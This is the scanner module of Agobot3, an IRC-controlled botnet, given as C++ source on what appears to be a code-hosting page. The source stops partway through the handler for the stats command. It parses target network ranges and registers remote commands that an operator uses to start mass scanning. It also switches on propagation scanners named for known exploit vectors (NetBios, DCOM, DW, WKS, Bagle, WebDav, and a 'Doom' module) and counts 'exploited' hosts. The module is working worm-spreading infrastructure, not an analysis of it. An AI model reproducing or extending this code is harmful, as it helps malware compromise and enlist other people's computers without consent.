📄 scanner.cpp.svn-base
字号:
/* Agobot3 - a modular IRC bot for Win32 / Linux
Copyright (C) 2003 Ago
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
#include "main.h"
#include "scanner.h"
#include "mainctrl.h"
CMutex g_mScanner;
ScannerInfo g_iScanners[64]=
{ { NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false } };
int g_iPortsToScan[64] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
int volatile g_iNumScanThreads=0;
list<CScannerBase*> g_lScanners;
bool ParseNetRange(const CString &sInput, CNetRange &nRange)
{ // Netrange is never longer than 18 characters
if(sInput.GetLength()>18) return false;
// Get temp storage and copy the string
char *szTemp=new char[sInput.GetLength()+2];
sprintf(szTemp, "%s", sInput.CStr());
// Get number of dots and slashes in the string
int iDotCount=0, iSlashCount=0;
for(int i=0; i<strlen(szTemp); i++)
{ if(szTemp[i]=='.') iDotCount++;
else if(szTemp[i]=='/') iSlashCount++; }
// If there are no 3 dots or there is no slash, fail
if(iDotCount!=3) { delete [] szTemp; return false; }
if(iSlashCount!=1) { delete [] szTemp; return false; }
// Make a copy of the string into a CString and parse it
CString sTemp(szTemp);
nRange.iPart1=atoi(sTemp.Token(0, "/").Token(0, ".").CStr());
nRange.iPart2=atoi(sTemp.Token(0, "/").Token(1, ".").CStr());
nRange.iPart3=atoi(sTemp.Token(0, "/").Token(2, ".").CStr());
nRange.iPart4=atoi(sTemp.Token(0, "/").Token(3, ".").CStr());
nRange.iNetMask=atoi(sTemp.Token(1, "/").CStr());
// Fail if the parts are 0
if(!nRange.iPart1 && !nRange.iPart2 && !nRange.iPart3 && !nRange.iPart4)
{ delete [] szTemp; return false; }
// Fail if the netmask is not a multiple of 8
if((nRange.iNetMask%8)!=0)
{ delete [] szTemp; return false; }
// Success
delete [] szTemp; return true; }
void RegisterScanner(ScannerInfo *pScanner)
{ int i; for(i=0; i<sizeof(g_iScanners); i++)
{ ScannerInfo *pTemp=&g_iScanners[i];
if(pTemp->pAllocator==NULL)
{ memcpy(pTemp, pScanner, sizeof(ScannerInfo));
break; } }
for(i=0; i<sizeof(g_iPortsToScan); i++)
{ int *pPort=&g_iPortsToScan[i];
if(*pPort==pScanner->sPort) break;
if(!*pPort) { *pPort=pScanner->sPort; break; } }
}
ScannerInfo *GetScannerByPort(const unsigned short sPort, int iIndex=0)
{ if(!sPort) return NULL;
int iIndexNow=0; for(int i=0; i<sizeof(g_iScanners); i++)
{
ScannerInfo *pTemp=&g_iScanners[i];
if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL || pTemp->sPort==0)
break;
if(pTemp->sPort==sPort)
{
if(iIndexNow==iIndex) return pTemp;
iIndexNow++;
}
}
return NULL; }
ScannerInfo *GetScannerByName(const char *szName, int iIndex=0)
{ if(!szName) return NULL;
int iIndexNow=0; for(int i=0; i<sizeof(g_iScanners); i++)
{ ScannerInfo *pTemp=&g_iScanners[i];
if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL)
break;
if(!strcmp(pTemp->szScannerName, szName))
{
if(iIndexNow==iIndex) return pTemp;
iIndexNow++;
}
}
return NULL; }
void IncrementScanStats(const char *szScannerName, const short sPort)
{ if(!sPort || !szScannerName) return;
for(int i=0; i<sizeof(g_iScanners); i++)
{ ScannerInfo *pTemp=&g_iScanners[i];
if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL)
break;
if(!strcmp(pTemp->szScannerName, szScannerName) && pTemp->sPort==sPort)
{
*pTemp->pScanStats++; break;
}
}
}
void ResetScanStats()
{ for(int i=0; i<sizeof(g_iScanners); i++)
{ ScannerInfo *pTemp=&g_iScanners[i]; if(pTemp->pAllocator==NULL) continue;
*pTemp->pScanStats=0; } }
void CNetRange::operator=(const CNetRange &nRange)
{ iPart1=nRange.iPart1; iPart2=nRange.iPart2;
iPart3=nRange.iPart3; iPart4=nRange.iPart4;
iNetMask=nRange.iNetMask; iPriority=nRange.iPriority;
bSilent=nRange.bSilent; bNotice=nRange.bNotice;
sReplyTo=nRange.sReplyTo; pScanner=nRange.pScanner; }
bool CNetRange::operator==(const CNetRange &nRange)
{ return ( (iPart1==nRange.iPart1) && \
(iPart2==nRange.iPart2) && \
(iPart3==nRange.iPart3) && \
(iPart4==nRange.iPart4) && \
(iNetMask==nRange.iNetMask) ); }
void CScanner::Init()
{ m_bScanning=false;
REGCMD(m_cmdAddNetRange, "scan.addnetrange", "adds a netrange to the scanner", false, this);
REGCMD(m_cmdDelNetRange, "scan.delnetrange", "deletes a netrange from the scanner", false, this);
REGCMD(m_cmdListNetRanges, "scan.listnetranges", "lists all netranges registered with the scanner", false, this);
REGCMD(m_cmdClearNetRanges, "scan.clearnetranges", "clears all netranges registered with the scanner", false, this);
REGCMD(m_cmdResetNetRanges, "scan.resetnetranges", "resets netranges to the localhost", false, this);
REGCMD(m_cmdEnableScanner, "scan.enable", "enables a scanner module", false, this);
REGCMD(m_cmdDisableScanner, "scan.disable", "disables a scanner module", false, this);
REGCMD(m_cmdScanStartAll, "scan.startall", "enable all Scanners and start scanning", false, this);
REGCMD(m_cmdScanStopAll, "scan.stopall", "disable all Scanners and stop scanning", false, this);
REGCMD(m_cmdStart, "scan.start", "signal start to child threads", false, this);
REGCMD(m_cmdStop, "scan.stop", "signal stop to child threads", false, this);
REGCMD(m_cmdStats, "scan.stats", "displays stats of the scanner", false, this);
m_cPortScanner.AddLocalLAN();
// Start a non-dynamic, auto-restarting thread
m_cPortScanner.Start(false, true);
// m_cPortScanner.EnableScanner("NetBios");
// m_cPortScanner.EnableScanner("DW");
// m_cPortScanner.EnableScanner("DCOM");
// m_cPortScanner.EnableScanner("Doom");
// m_bScanning=true;
}
bool CScanner::HandleCommand(CMessage *pMsg)
{ CNetRange nRange;
g_mScanner.Lock();
if(!pMsg->sCmd.Compare("scan.addnetrange")) {
CString sNetRange=pMsg->sChatString.Token(1, " ");
CString sPriority=pMsg->sChatString.Token(2, " ");
nRange.iPriority=atoi(sPriority.CStr());
nRange.pScanner=this; nRange.sReplyTo=pMsg->sReplyTo;
nRange.bNotice=pMsg->bNotice; nRange.bSilent=pMsg->bSilent;
if(ParseNetRange(sNetRange, nRange))
m_cPortScanner.RegisterNetRange(&nRange); }
else if(!pMsg->sCmd.Compare("scan.delnetrange")) {
CString sNetRange=pMsg->sChatString.Token(1, " ");
if(ParseNetRange(sNetRange, nRange))
m_cPortScanner.RemoveNetRange(&nRange); }
else if(!pMsg->sCmd.Compare("scan.resetnetranges")) {
m_cPortScanner.m_lNetRanges.clear();
m_cPortScanner.AddLocalLAN(); }
else if(!pMsg->sCmd.Compare("scan.listnetranges")) {
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ netrange list ]-", pMsg->sReplyTo.Str());
list<CNetRange>::iterator i; int iCount=0;
for(i=m_cPortScanner.m_lNetRanges.begin(); i!=m_cPortScanner.m_lNetRanges.end(); i++)
{ iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "%d. mask: %d.%d.%d.%d/%d prio: %d", iCount,
(*i).iPart1, (*i).iPart2, (*i).iPart3, (*i).iPart4, (*i).iNetMask, (*i).iPriority);
Sleep(1500); } }
else if(!pMsg->sCmd.Compare("scan.clearnetranges"))
m_cPortScanner.m_lNetRanges.clear();
else if(!pMsg->sCmd.Compare("scan.enable"))
m_cPortScanner.EnableScanner(pMsg->sChatString.Token(1, " ").CStr());
else if(!pMsg->sCmd.Compare("scan.disable"))
m_cPortScanner.DisableScanner(pMsg->sChatString.Token(1, " ").CStr());
else if(!pMsg->sCmd.Compare("scan.start"))
m_bScanning=true;
else if(!pMsg->sCmd.Compare("scan.stop"))
m_bScanning=false;
//just change it back if you disagree.
else if(!pMsg->sCmd.Compare("scan.startall")) {
m_cPortScanner.EnableScanner("NetBios");
m_cPortScanner.EnableScanner("DCOM");
m_cPortScanner.EnableScanner("Doom");
m_cPortScanner.EnableScanner("DW");
m_cPortScanner.EnableScanner("WKS");
m_cPortScanner.EnableScanner("Bagle");
m_cPortScanner.EnableScanner("WebDav");
m_bScanning=true; }
else if(!pMsg->sCmd.Compare("scan.stopall")) {
m_cPortScanner.DisableScanner("NetBios");
m_cPortScanner.DisableScanner("DCOM");
m_cPortScanner.DisableScanner("Doom");
m_cPortScanner.DisableScanner("DW");
m_cPortScanner.DisableScanner("WKS");
m_cPortScanner.DisableScanner("Bagle");
m_cPortScanner.DisableScanner("WebDav");
m_bScanning=false; }
else if(!pMsg->sCmd.Compare("scan.stats")) {
CString sStatsBuf("exploited stats:");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -